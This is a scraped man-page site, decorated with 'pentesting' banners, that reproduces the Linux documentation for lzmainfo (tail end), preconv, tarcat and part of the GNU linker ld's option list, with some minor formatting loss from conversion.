Usually the most interesting information is the uncompressed size and the dictionary size. Uncompressed size can be shown only if the file is in the non-streamed .lzma format variant. The amount of memory required to decompress the file is a few dozen kilobytes plus the dictionary size.

lzmainfo is included in XZ Utils primarily for backward compatibility with LZMA Utils.

EXIT STATUS

0
All is good.

1
An error occurred.

BUGS

lzmainfo uses MB while the correct suffix would be MiB (2^20 bytes). This is to keep the output compatible with LZMA Utils.

SEE ALSO

xz(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1666 - Linux cli command preconv

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command preconv and provides detailed information about the command preconv, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the preconv.

Name

preconv - prepare files for typesetting with groff

Synopsis

preconv [-dr] [-D ** fallback-encoding] [-e ** encoding] [*file *. . .] preconv -h preconv –help preconv -v preconv –version

Description

preconv reads each file, converts its encoded characters to a form

can interpret, and sends the result to the standard output stream. Currently, this means that code points in the range 0–127 (in US-ASCII, ISO 8859, or Unicode) remain as-is and the remainder are converted to the groff special character form “** uXXXX**]** ”, where XXXX is a hexadecimal number of four to six digits corresponding to a Unicode code point. By default, preconv also inserts a roff .lf request at the beginning of each file, identifying it for the benefit of later processing (including diagnostic messages); the -r option suppresses this behavior.

In typical usage scenarios, preconv need not be run directly; instead it should be invoked with the -k or -K options of groff. If no file operands are given on the command line, or if file is “-”, the standard input stream is read.

preconv tries to find the input encoding with the following algorithm, stopping at the first success.

  1. If the input encoding has been explicitly specified with option -e, use it.

  2. If the input starts with a Unicode Byte Order Mark, determine the encoding as UTF-8, UTF-16, or UTF-32 accordingly.

  3. If the input stream is seekable, check the first and second input lines for a recognized GNU Emacs file-local variable identifying the character encoding, here referred to as the “coding tag” for brevity. If found, use it.

  4. If the input stream is seekable, and if the uchardet library is available on the system, use it to try to infer the encoding of the file.

  5. If the -D option specifies an encoding, use it.

  6. Use the encoding specified by the current locale (LC_CTYPE), unless the locale is “C”, “POSIX”, or empty, in which case assume Latin-1 (ISO 8859-1).

The coding tag and uchardet methods in the above procedure rely upon a seekable input stream; when preconv reads from a pipe, the stream is not seekable, and these detection methods are skipped. If character encoding detection of your input files is unreliable, arrange for one of the other methods to succeed by using preconv’s -D or -e options, or by configuring your locale appropriately. groff also supports a GROFF_ENCODING environment variable, which can be overridden by its -K option. Valid values for (or parameters to) all of these are enumerated in the lists of recognized coding tags in the next subsection, and are further influenced by iconv library support.

Coding tags

Text editors that support more than a single character encoding need tags within the input files to mark the file’s encoding. While it is possible to guess the right input encoding with the help of heuristics that are reliable for a preponderance of natural language texts, they are not absolutely reliable. Heuristics can fail on inputs that are too short or don’t represent a natural language.

Consequently, preconv supports the coding tag convention used by GNU Emacs (with some restrictions). This notation appears in specially marked regions of an input file designated for “file-local variables”.

preconv interprets the following syntax if it occurs in a roff comment in the first or second line of the input file. Both “\” and “\” comment forms are recognized, but the control (or no-break control) character must be the default and must begin the line. Similarly, the escape character must be the default.

-- [. . .;]  coding: encoding [; . . .]  --

The only variable preconv interprets is “coding”, which can take the values listed below.

The following list comprises all MIME “charset” parameter values recognized, case-insensitively, by preconv.

big5, cp1047, euc-jp, euc-kr, gb2312, iso-8859-1, iso-8859-2, iso-8859-5, iso-8859-7, iso-8859-9, iso-8859-13, iso-8859-15, koi8-r, us-ascii, utf-8, utf-16, utf-16be, utf-16le

In addition, the following list of other coding tags is recognized, each of which is mapped to an appropriate value from the list above.

ascii, chinese-big5, chinese-euc, chinese-iso-8bit, cn-big5, cn-gb, cn-gb-2312, cp878, csascii, csisolatin1, cyrillic-iso-8bit, cyrillic-koi8, euc-china, euc-cn, euc-japan, euc-japan-1990, euc-korea, greek-iso-8bit, iso-10646/utf8, iso-10646/utf-8, iso-latin-1, iso-latin-2, iso-latin-5, iso-latin-7, iso-latin-9, japanese-euc, japanese-iso-8bit, jis8, koi8, korean-euc, korean-iso-8bit, latin-0, latin1, latin-1, latin-2, latin-5, latin-7, latin-9, mule-utf-8, mule-utf-16, mule-utf-16be, mule-utf-16-be, mule-utf-16be-with-signature, mule-utf-16le, mule-utf-16-le, mule-utf-16le-with-signature, utf8, utf-16-be, utf-16-be-with-signature, utf-16be-with-signature, utf-16-le, utf-16-le-with-signature, utf-16le-with-signature

Trailing “-dos”, “-unix”, and “-mac” suffixes on coding tags (which indicate the end-of-line convention used in the file) are disregarded for the purpose of comparison with the above tags.

iconv support

While preconv recognizes all of the coding tags listed above, it is capable on its own of interpreting only three encodings: Latin-1, code page 1047, and UTF-8. If iconv support is configured at compile time and available at run time, all others are passed to iconv library functions, which may recognize many additional encoding strings. The command “preconv -v” discloses whether iconv support is configured.

The use of iconv means that characters in the input that encode invalid code points for that encoding may be dropped from the output stream or mapped to the Unicode replacement character (U+FFFD). Compare the following examples using the input “café” (note the “e” with an acute accent), which due to its short length challenges inference of the encoding used.

printf ‘caf\351 ’ | LC_ALL=en_US.UTF-8 preconv printf ‘caf\351 ’ | preconv -e us-ascii printf ‘caf\351 ’ | preconv -e latin-1

The fate of the accented “e” differs in each case. In the first, uchardet fails to detect an encoding (though the library on your system may behave differently) and preconv falls back to the locale settings, where octal 351 starts an incomplete UTF-8 sequence and results in the Unicode replacement character. In the second, it is not a representable character in the declared input encoding of US-ASCII and is discarded by iconv. In the last, it is correctly detected and mapped.

Limitations

preconv cannot perform any transformation on input that it cannot see. Examples include files that are interpolated by preprocessors that run subsequently, including

files included by troff itself through “so” and similar requests; and string definitions passed to troff through its -d command-line option.

preconv assumes that its input uses the default escape character, a backslash ****, and writes special character escape sequences accordingly.

Options

-h and –help display a usage message, while -v and –version show version information; all exit afterward.

-d
Emit debugging messages to the standard error stream.

**-D **fallback-encoding
Report fallback-encoding if all detection methods fail.

**-e **encoding
Skip detection and assume encoding; see groff’s -K option.

-r
Write files “raw”; do not add .lf requests.

See also

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1667 - Linux cli command tarcat

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tarcat and provides detailed information about the command tarcat, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tarcat.

NAME 🖥️ tarcat 🖥️

concatenates the pieces of a GNU tar multi-volume archive

SYNOPSIS

tarcat files …

DESCRIPTION

The tarcat command simply concatenates the files from a GNU tar multi-volume archive into a single tar archive.

SEE ALSO

tar(1).

AUTHORS

The tarcat script was written by Bruno Haible <[email protected]> and Sergey Poznyakoff <[email protected]>.

This document was written by Bdale Garbee <[email protected]> for Debian.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1668 - Linux cli command x86_64-linux-gnu-ld

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-linux-gnu-ld and provides detailed information about the command x86_64-linux-gnu-ld, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-linux-gnu-ld.

NAME 🖥️ x86_64-linux-gnu-ld 🖥️

The GNU linker

SYNOPSIS

ld [options] objfile

DESCRIPTION

ld combines a number of object and archive files, relocates their data and ties up symbol references. Usually the last step in compiling a program is to run ld.

ld accepts Linker Command Language files written in a superset of AT&T’s Link Editor Command Language syntax, to provide explicit and total control over the linking process.

This man page does not describe the command language; see the ld entry in info for full details on the command language and on other aspects of the GNU linker.

This version of ld uses the general purpose BFD libraries to operate on object files. This allows ld to read, combine, and write object files in many different formats—for example, COFF or a.out. Different formats may be linked together to produce any available kind of object file.

Aside from its flexibility, the GNU linker is more helpful than other linkers in providing diagnostic information. Many linkers abandon execution immediately upon encountering an error; whenever possible, ld continues executing, allowing you to identify other errors (or, in some cases, to get an output file in spite of the error).

The GNU linker ld is meant to cover a broad range of situations, and to be as compatible as possible with other linkers. As a result, you have many choices to control its behavior.

OPTIONS

The linker supports a plethora of command-line options, but in actual practice few of them are used in any particular context. For instance, a frequent use of ld is to link standard Unix object files on a standard, supported Unix system. On such a system, to link a file hello.o:

ld -o <output> /lib/crt0.o hello.o -lc

This tells ld to produce a file called output as the result of linking the file /lib/crt0.o with hello.o and the library libc.a, which will come from the standard search directories. (See the discussion of the -l option below.)

Some of the command-line options to ld may be specified at any point in the command line. However, options which refer to files, such as -l or -T, cause the file to be read at the point at which the option appears in the command line, relative to the object files and other file options. Repeating non-file options with a different argument will either have no further effect, or override prior occurrences (those further to the left on the command line) of that option. Options which may be meaningfully specified more than once are noted in the descriptions below.

Non-option arguments are object files or archives which are to be linked together. They may follow, precede, or be mixed in with command-line options, except that an object file argument may not be placed between an option and its argument.

Usually the linker is invoked with at least one object file, but you can specify other forms of binary input files using -l, -R, and the script command language. If no binary input files at all are specified, the linker does not produce any output, and issues the message No input files.

If the linker cannot recognize the format of an object file, it will assume that it is a linker script. A script specified in this way augments the main linker script used for the link (either the default linker script or the one specified by using -T). This feature permits the linker to link against a file which appears to be an object or an archive, but actually merely defines some symbol values, or uses INPUT or GROUP to load other objects. Specifying a script in this way merely augments the main linker script, with the extra commands placed after the main script; use the -T option to replace the default linker script entirely, but note the effect of the INSERT command.

For options whose names are a single letter, option arguments must either follow the option letter without intervening whitespace, or be given as separate arguments immediately following the option that requires them.

For options whose names are multiple letters, either one dash or two can precede the option name; for example, -trace-symbol and –trace-symbol are equivalent. Note—there is one exception to this rule. Multiple letter options that start with a lower case ‘o’ can only be preceded by two dashes. This is to reduce confusion with the -o option. So for example -omagic sets the output file name to magic whereas –omagic sets the NMAGIC flag on the output.

Arguments to multiple-letter options must either be separated from the option name by an equals sign, or be given as separate arguments immediately following the option that requires them. For example, –trace-symbol foo and –trace-symbol=foo are equivalent. Unique abbreviations of the names of multiple-letter options are accepted.

Note—if the linker is being invoked indirectly, via a compiler driver (e.g. gcc) then all the linker command-line options should be prefixed by -Wl, (or whatever is appropriate for the particular compiler driver) like this:

gcc -Wl,–start-group foo.o bar.o -Wl,–end-group

This is important, because otherwise the compiler driver program may silently drop the linker options, resulting in a bad link. Confusion may also arise when passing options that require values through a driver, as the use of a space between option and argument acts as a separator, and causes the driver to pass only the option to the linker and the argument to the compiler. In this case, it is simplest to use the joined forms of both single- and multiple-letter options, such as:

gcc foo.o bar.o -Wl,-eENTRY -Wl,-Map=a.map

Here is a table of the generic command-line switches accepted by the GNU linker:

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

-a keyword
This option is supported for HP/UX compatibility. The keyword argument must be one of the strings archive, shared, or default. -aarchive is functionally equivalent to -Bstatic, and the other two keywords are functionally equivalent to -Bdynamic. This option may be used any number of times.

–audit AUDITLIB
Adds AUDITLIB to the DT_AUDIT entry of the dynamic section. AUDITLIB is not checked for existence, nor will it use the DT_SONAME specified in the library. If specified multiple times DT_AUDIT will contain a colon separated list of audit interfaces to use. If the linker finds an object with an audit entry while searching for shared libraries, it will add a corresponding DT_DEPAUDIT entry in the output file. This option is only meaningful on ELF platforms supporting the rtld-audit interface.

-b input-format

–format=input-format

ld may be configured to support more than one kind of object file. If your ld is configured this way, you can use the -b option to specify the binary format for input object files that follow this option on the command line. Even when ld is configured to support alternative object formats, you don’t usually need to specify this, as ld should be configured to expect as a default input format the most usual format on each machine. input-format is a text string, the name of a particular format supported by the BFD libraries. (You can list the available binary formats with objdump -i.) You may want to use this option if you are linking files with an unusual binary format. You can also use -b to switch formats explicitly (when linking object files of different formats), by including -b input-format before each group of object files in a particular format. The default format is taken from the environment variable GNUTARGET. You can also define the input format from a script, using the command TARGET;

-c MRI-commandfile

–mri-script=MRI-commandfile

For compatibility with linkers produced by MRI, ld accepts script files written in an alternate, restricted command language, described in the MRI Compatible Script Files section of GNU ld documentation. Introduce MRI script files with the option -c; use the -T option to run linker scripts written in the general-purpose ld scripting language. If MRI-cmdfile does not exist, ld looks for it in the directories specified by any -L options.

-d

-dc

-dp

These three options are equivalent; multiple forms are supported for compatibility with other linkers. They assign space to common symbols even if a relocatable output file is specified (with -r). The script command FORCE_COMMON_ALLOCATION has the same effect.

–depaudit AUDITLIB

-P AUDITLIB

Adds AUDITLIB to the DT_DEPAUDIT entry of the dynamic section. AUDITLIB is not checked for existence, nor will it use the DT_SONAME specified in the library. If specified multiple times DT_DEPAUDIT will contain a colon separated list of audit interfaces to use. This option is only meaningful on ELF platforms supporting the rtld-audit interface. The -P option is provided for Solaris compatibility.

–enable-linker-version
Enables the LINKER_VERSION linker script directive, described in Output Section Data. If this directive is used in a linker script and this option has been enabled then a string containing the linker version will be inserted at the current point. Note - this location of this option on the linker command line is significant. It will only affect linker scripts that come after it on the command line, or which are built into the linker.

–disable-linker-version
Disables the LINKER_VERSION linker script directive, so that it does not insert a version string. This is the default.

–enable-non-contiguous-regions
This option avoids generating an error if an input section does not fit a matching output section. The linker tries to allocate the input section to subseque nt matching output sections, and generates an error only if no output section is large enough. This is useful when several non-contiguous memory regions are available and the input section does not require a particular one. The order in which input sections are evaluated does not change, for instance: MEMORY { MEM1 (rwx) : ORIGIN = 0x1000, LENGTH = 0x14 MEM2 (rwx) : ORIGIN = 0x1000, LENGTH = 0x40 MEM3 (rwx) : ORIGIN = 0x2000, LENGTH = 0x40 } SECTIONS { mem1 : { *(.data.*); } > MEM1 mem2 : { *(.data.*); } > MEM2 mem3 : { *(.data.*); } > MEM3 } with input sections: .data.1: size 8 .data.2: size 0x10 .data.3: size 4 results in .data.1 affected to mem1, and .data.2 and .data.3 affected to mem2, even though .data.3 would fit in mem3. This option is incompatible with INSERT statements because it changes the way input sections are mapped to output sections.

–enable-non-contiguous-regions-warnings
This option enables warnings when --enable-non-contiguous-regions allows possibly unexpected matches in sections mapping, potentially leading to silently discarding a section instead of failing because it does not fit any output region.

-e entry

–entry=entry

Use entry as the explicit symbol for beginning execution of your program, rather than the default entry point. If there is no symbol named entry, the linker will try to parse entry as a number, and use that as the entry address (the number will be interpreted in base 10; you may use a leading 0x for base 16, or a leading 0 for base 8).

–exclude-libs lib,lib,…
Specifies a list of archive libraries from which symbols should not be automatically exported. The library names may be delimited by commas or colons. Specifying --exclude-libs ALL excludes symbols in all archive libraries from automatic export. This option is available only for the i386 PE targeted port of the linker and for ELF targeted ports. For i386 PE, symbols explicitly listed in a .def file are still exported, regardless of this option. For ELF targeted ports, symbols affected by this option will be treated as hidden.

–exclude-modules-for-implib module,module,…
Specifies a list of object files or archive members, from which symbols should not be automatically exported, but which should be copied wholesale into the import library being generated during the link. The module names may be delimited by commas or colons, and must match exactly the filenames used by ld to open the files; for archive members, this is simply the member name, but for object files the name listed must include and match precisely any path used to specify the input file on the linker’s command-line. This option is available only for the i386 PE targeted port of the linker. Symbols explicitly listed in a .def file are still exported, regardless of this option.

-E

–export-dynamic

–no-export-dynamic

When creating a dynamically linked executable, using the -E option or the –export-dynamic option causes the linker to add all symbols to the dynamic symbol table. The dynamic symbol table is the set of symbols which are visible from dynamic objects at run time. If you do not use either of these options (or use the –no-export-dynamic option to restore the default behavior), the dynamic symbol table will normally contain only those symbols which are referenced by some dynamic object mentioned in the link. If you use dlopen to load a dynamic object which needs to refer back to the symbols defined by the program, rather than some other dynamic object, then you will probably need to use this option when linking the program itself. You can also use the dynamic list to control what symbols should be added to the dynamic symbol table if the output format supports it. See the description of –dynamic-list. Note that this option is specific to ELF targeted ports. PE targets support a similar function to export all symbols from a DLL or EXE; see the description of –export-all-symbols below.

–export-dynamic-symbol=glob
When creating a dynamically linked executable, symbols matching glob will be added to the dynamic symbol table. When creating a shared library, references to symbols matching glob will not be bound to the definitions within the shared library. This option is a no-op when creating a shared library and -Bsymbolic or –dynamic-list are not specified. This option is only meaningful on ELF platforms which support shared libraries.

–export-dynamic-symbol-list=file
Specify a –export-dynamic-symbol for each pattern in the file. The format of the file is the same as the version node without scope and node name. See VERSION for more information.

-EB
Link big-endian objects. This affects the default output format.

-EL
Link little-endian objects. This affects the default output format.

-f name

–auxiliary=name

When creating an ELF shared object, set the internal DT_AUXILIARY field to the specified name. This tells the dynamic linker that the symbol table of the shared object should be used as an auxiliary filter on the symbol table of the shared object name. If you later link a program against this filter object, then, when you run the program, the dynamic linker will see the DT_AUXILIARY field. If the dynamic linker resolves any symbols from the filter object, it will first check whether there is a definition in the shared object name. If there is one, it will be used instead of the definition in the filter object. The shared object name need not exist. Thus the shared object name may be used to provide an alternative implementation of certain functions, perhaps for debugging or for machine-specific performance. This option may be specified more than once. The DT_AUXILIARY entries will be created in the order in which they appear on the command line.

-F name

–filter=name

When creating an ELF shared object, set the internal DT_FILTER field to the specified name. This tells the dynamic linker that the symbol table of the shared object which is being created should be used as a filter on the symbol table of the shared object name. If you later link a program against this filter object, then, when you run the program, the dynamic linker will see the DT_FILTER field. The dynamic linker will resolve symbols according to the symbol table of the filter object as usual, but it will actually link to the definitions found in the shared object name. Thus the filter object can be used to select a subset of the symbols provided by the object name. Some older linkers used the -F option throughout a compilation toolchain for specifying object-file format for both input and output object files. The GNU linker uses other mechanisms for this purpose: the -b, –format, –oformat options, the TARGET command in linker scripts, and the GNUTARGET environment variable. The GNU linker will ignore the -F option when not creating an ELF shared object.

-fini=name
When creating an ELF executable or shared object, call NAME when the executable or shared object is unloaded, by setting DT_FINI to the address of the function. By default, the linker uses _fini as the function to call.

-g
Ignored. Provided for compatibility with other tools.

-G value

–gpsize=value

Set the maximum size of objects to be optimized using the GP register to size. This is only meaningful for object file formats such as MIPS ELF that support putting large and small objects into different sections. This is ignored for other object file formats.

-h name

-soname=name

When creating an ELF shared object, set the internal DT_SONAME field to the specified name. When an executable is linked with a shared object which has a DT_SONAME field, then when the executable is run the dynamic linker will attempt to load the shared object specified by the DT_SONAME field rather than using the file name given to the linker.

-i
Perform an incremental link (same as option -r).

-init=name
When creating an ELF executable or shared object, call NAME when the executable or shared object is loaded, by setting DT_INIT to the address of the function. By default, the linker uses _init as the function to call.

-l namespec

–library=namespec

Add the archive or object file specified by namespec to the list of files to link. This option may be used any number of times. If namespec is of the form :filename, ld will search the library path for a file called filename, otherwise it will search the library path for a file called libnamespec.a. On systems which support shared libraries, ld may also search for files other than libnamespec.a. Specifically, on ELF and SunOS systems, ld will search a directory for a library called libnamespec.so before searching for one called libnamespec.a. (By convention, a .so extension indicates a shared library.) Note that this behavior does not apply to :filename, which always specifies a file called filename. The linker will search an archive only once, at the location where it is specified on the command line. If the archive defines a symbol which was undefined in some object which appeared before the archive on the command line, the linker will include the appropriate file(s) from the archive. However, an undefined symbol in an object appearing later on the command line will not cause the linker to search the archive again. See the -( option for a way to force the linker to search archives multiple times. You may list the same archive multiple times on the command line. This type of archive searching is standard for Unix linkers. However, if you are using ld on AIX, note that it is different from the behaviour of the AIX linker.

-L searchdir

–library-path=searchdir

Add path searchdir to the list of paths that ld will search for archive libraries and ld control scripts. You may use this option any number of times. The directories are searched in the order in which they are specified on the command line. Directories specified on the command line are searched before the default directories. All -L options apply to all -l options, regardless of the order in which the options appear. -L options do not affect how ld searches for a linker script unless -T option is specified. If searchdir begins with = or $SYSROOT, then this prefix will be replaced by the sysroot prefix, controlled by the –sysroot option, or specified when the linker is configured. The default set of paths searched (without being specified with -L) depends on which emulation mode ld is using, and in some cases also on how it was configured. The paths can also be specified in a link script with the SEARCH_DIR command. Directories specified this way are searched at the point in which the linker script appears in the command line.

-m emulation
Emulate the emulation linker. You can list the available emulations with the –verbose or -V options. If the -m option is not used, the emulation is taken from the LDEMULATION environment variable, if that is defined. Otherwise, the default emulation depends upon how the linker was configured.

–remap-inputs=pattern=filename

–remap-inputs-file=file

These options allow the names of input files to be changed before the linker attempts to open them. The option –remap-inputs=foo.o=bar.o will cause any attempt to load a file called foo.o to instead try to load a file called bar.o. Wildcard patterns are permitted in the first filename, so –remap-inputs=foo*.o=bar.o will rename any input file that matches foo*.o to bar.o. An alternative form of the option –remap-inputs-file=filename allows the remappings to be read from a file. Each line in the file can contain a single remapping. Blank lines are ignored. Anything from a hash character (#) to the end of a line is considered to be a comment and is also ignored. The mapping pattern can be separated from the filename by whitespace or an equals (=) character. The options can be specified multiple times. Their contents accumulate. The remappings will be processed in the order in which they occur on the command line, and if they come from a file, in the order in which they occur in the file. If a match is made, no further checking for that filename will be performed. If the replacement filename is /dev/null or just NUL then the remapping will actually cause the input file to be ignored. This can be a convenient way to experiment with removing input files from a complicated build environment. Note that this option is position dependent and only affects filenames that come after it on the command line. Thus: ld foo.o –remap-inputs=foo.o=bar.o Will have no effect, whereas: ld –remap-inputs=foo.o=bar.o foo.o Will rename the input file foo.o to bar.o. Note - these options also affect files referenced by INPUT statements in linker scripts. But since linker scripts are processed after the entire command line is read, the position of the remap options on the command line is not significant. If the verbose option is enabled then any mappings that match will be reported, although again the verbose option needs to be enabled on the command line before the remaped filenames appear. If the -Map or –print-map options are enabled then the remapping list will be included in the map output.

-M

–print-map

Print a link map to the standard output. A link map provides information about the link, including the following:

  • Where object files are mapped into memory.

  • How common symbols are allocated.

  • All archive members included in the link, with a mention of the symbol which caused the archive member to be brought in.

  • The values assigned to symbols. Note - symbols whose values are computed by an expression which involves a reference to a previous value of the same symbol may not have correct result displayed in the link map. This is because the linker discards intermediate results and only retains the final value of an expression. Under such circumstances the linker will display the final value enclosed by square brackets. Thus for example a linker script containing: foo = 1 foo = foo * 4 foo = foo + 8 will produce the following output in the link map if the -M option is used: 0x00000001 foo = 0x1 [0x0000000c] foo = (foo * 0x4) [0x0000000c] foo = (foo + 0x8) See Expressions for more information about expressions in linker scripts.

  • How GNU properties are merged. When the linker merges input .note.gnu.property sections into one output .note.gnu.property section, some properties are removed or updated. These actions are reported in the link map. For example: Removed property 0xc0000002 to merge foo.o (0x1) and bar.o (not found) This indicates that property 0xc0000002 is removed from output when merging properties in foo.o, whose property 0xc0000002 value is 0x1, and bar.o, which doesn’t have property 0xc0000002. Updated property 0xc0010001 (0x1) to merge foo.o (0x1) and bar.o (0x1) This indicates that property 0xc0010001 value is updated to 0x1 in output when merging properties in foo.o, whose 0xc0010001 property value is 0x1, and bar.o, whose 0xc0010001 property value is 0x1.

  • On some ELF targets, a list of fixups inserted by –relax foo.o: Adjusting branch at 0x00000008 towards “far” in section .text This indicates that the branch at 0x00000008 in foo.o, targeting the symbol “far” in section .text, has been replaced by a trampoline.

–print-map-discarded

–no-print-map-discarded

Print (or do not print) the list of discarded and garbage collected sections in the link map. Enabled by default.

–print-map-locals

–no-print-map-locals

Print (or do not print) local symbols in the link map. Local symbols will have the text (local) printed before their name, and will be listed after all of the global symbols in a given section. Temporary local symbols (typically those that start with .L) will not be included in the output. Disabled by default.

-n

–nmagic

Turn off page alignment of sections, and disable linking against shared libraries. If the output format supports Unix style magic numbers, mark the output as NMAGIC.

-N

–omagic

Set the text and data sections to be readable and writable. Also, do not page-align the data segment, and disable linking against shared libraries. If the output format supports Unix style magic numbers, mark the output as OMAGIC. Note: Although a writable text section is allowed for PE-COFF targets, it does not conform to the format specification published by Microsoft.

–no-omagic
This option negates most of the effects of the -N option. It sets the text section to be read-only, and forces the data segment to be page-aligned. Note - this option does not enable linking against shared libraries. Use -Bdynamic for this.

-o output

–output=output

Use output as the name for the program produced by ld; if this option is not specified, the name a.out is used by default. The script command OUTPUT can also specify the output file name. Note - the linker will delete the output file before it starts to write to it. It will do this even if it turns out that the link cannot be completed due to errors. Note - the linker will check to make sure that the output file name does not match the name of any of the input files, but that is all. In particular it will not complain if the output file might overwrite a source file or some other important file. Therefore in build systems it is recommended to use the -o option as the last option on the linker command line. For example consider: ld -o $(EXE) $(OBJS) ld $(OBJS) -o $(EXE) If the EXE variable is not defined for some reason, the first version of the linker command could end up deleting one of the object files (the first one in the OBJS list) whereas the second version of the linker command will generate an error message and not delete anything.

–dependency-file=depfile
Write a dependency file to depfile. This file contains a rule suitable for make describing the output file and all the input files that were read to produce it. The output is similar to the compiler’s output with -M -MP. Note that there is no option like the compiler’s -MM, to exclude “system files” (which is not a well-specified concept in the linker, unlike “system headers” in the compiler). So the output from –dependency-file is always specific to the exact state of the installation where it was produced, and should not be copied into distributed makefiles without careful editing.

-O level
If level is a numeric values greater than zero ld optimizes the output. This might take significantly longer and therefore probably should only be enabled for the final binary. At the moment this option only affects ELF shared library generation. Future releases of the linker may make more use of this option. Also currently there is no difference in the linker’s behaviour for different non-zero values of this option. Again this may change with future releases.

-plugin name
Involve a plugin in the linking process. The name parameter is the absolute filename of the plugin. Usually this parameter is automatically added by the complier, when using link time optimization, but users can also add their own plugins if they so wish. Note that the location of the compiler originated plugins is different from the place where the ar, nm and ranlib programs search for their plugins. In order for those commands to make use of a compiler based plugin it must first be copied into the ${libdir}/bfd-plugins directory. All gcc based linker plugins are backward compatible, so it is sufficient to just copy in the newest one.

–push-state
The –push-state allows one to preserve the current state of the flags which govern the input file handling so that they can all be restored with one corresponding –pop-state option. The option which are covered are: -Bdynamic, -Bstatic, -dn, -dy, -call_shared, -non_shared, -static, -N, -n, –whole-archive, –no-whole-archive, -r, -Ur, –copy-dt-needed-entries, –no-copy-dt-needed-entries, –as-needed, –no-as-needed, and -a. One target for this option are specifications for pkg-config. When used with the –libs option all possibly needed libraries are listed and then possibly linked with all the time. It is better to return something as follows: -Wl,–push-state,–as-needed -libone -libtwo -Wl,–pop-state

–pop-state
Undoes the effect of –push-state, restores the previous values of the flags governing input file handling.

-q

–emit-relocs

Leave relocation sections and contents in fully linked executables. Post link analysis and optimization tools may need this information in order to perform correct modifications of executables. This results in larger executables. This option is currently only supported on ELF platforms.

–force-dynamic
Force the output file to have dynamic sections. This option is specific to VxWorks targets.

-r

–relocatable

Generate relocatable output—i.e., generate an output file that can in turn serve as input to ld. This is often called partial linking. As a side effect, in environments that support standard Unix magic numbers, this option also sets the output file’s magic number to OMAGIC. If this option is not specified, an absolute file is produced. When linking C++ programs, this option will not resolve references to constructors; to do that, use -Ur. When an input file does not have the same format as the output file, partial linking is only supported if that input file does not contain any relocations. Different output formats can have further restrictions; for example some a.out-based formats do not support partial linking with input files in other formats at all. This option does the same thing as -i.

-R filename

–just-symbols=filename

Read symbol names and their addresses from filename, but do not relocate it or include it in the output. This allows your output file to refer symbolically to absolute locations of memory defined in other programs. You may use this option more than once. For compatibility with other ELF linkers, if the -R option is followed by a directory name, rather than a file name, it is treated as the -rpath option.

–rosegment

–no-rosegment

